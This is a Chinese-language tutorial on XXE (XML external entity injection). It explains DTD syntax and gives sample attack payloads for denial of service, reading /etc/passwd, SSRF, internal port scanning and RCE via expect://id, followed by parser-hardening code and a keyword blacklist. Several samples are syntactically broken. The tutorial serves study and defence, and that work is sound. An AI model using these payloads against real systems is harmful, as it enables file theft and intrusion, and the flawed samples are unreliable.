什么是XXE 漏洞
XXE 漏洞全称 XML External Entity Injection 即xml 外部实体注入漏洞
XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XXE漏洞发生再 应用程序解析xml输入时, 没有禁止外部的加载 ,导致可加载恶意外部文件 造成文件读取 命令执行 内网端口扫描 攻击内网网站 ,发起dos 攻击等危害
libxml2.9.1及以后,默认不再解析外部实体
XXE 的 基本语法
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
<?xml version="1.0"> //xml声明
<!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)> //文档类型定义
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from> //文档元素
<heading>Reminder</heading>
<body>Don’t forget the meeting</body>
什么是DTD
<?xml version="1.0"?> //这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
<!DOCTYPE 根元素[
<!ELEMENT 根元素(元素1,元素2)>
<!ELEMENT 元素1(#PCDATA)>
<!ELEMENT 元素2(#PCDATA)>
]>
内部实体 与 引用外部实体
<?xml version="1.0" encoding="UTF-8" >
<!DOCTYPE abc [
<!ELEMENT copyright "xx.xx.xx.xx">
]>
<abc>©right;</abc>
外部声明的格式分两种,对应的关键字为 “SYSTEM” 与 “public”
<?xml version="1.0" encoding="UTF-8">
<!DOCTYPE abc [
<!ELEMENT abc system "file:///etc/passwd">
]>
<abc>&abc;</abc>
引用公用 DTD
<!DOCTYPE 根元素 PUBLIC "DTD名称" "外部DTD的URL">
<!DOCTYPE 联系人列表 PUBLIC "联系人DTD" "http://www.mydomain.com/dtds/fclml.dtd">
支持的协议
LIBXML2 | PHP | JAVA | .NET |
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
| php | file | ftp |
|
| compress.zlib | jar |
|
|
| compress.bzip2 | netdoc |
|
|
| data | mailto |
|
|
| glob | gopher * |
|
|
| phar |
|
|
XML 的攻击方式
拒绝服务攻击
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
文件读取
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ <!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>
&words;
</root>
SSRF
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
探测内网端口
<?xml version="1.0"?>
<!DOCTYPE xxx [
<!ELEMENT name ANY >
<!ELEMENT xxx SYSTEM "http://192.168.10.1:22">
]>
<data>4</data>
RCE
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>
Include
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>
预防
在语言中禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); .setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); .setFeature("http://xml.org/sax/features/external-general-entities",false) .setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
黑名单过滤
过滤关键词:
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
预定义字符转义:< < > > & & ‘ ' “ "
禁用外部实体:libxml_disable_entity_loader(true);
参考:
https://www.freebuf.com/articles/web/255492.html
https://www.freebuf.com/articles/web/256728.html
https://xz.aliyun.com/t/3357#toc-21
https://websec.readthedocs.io/zh/latest/vuln/xxe.html
https://www.secpulse.com/archives/189161.html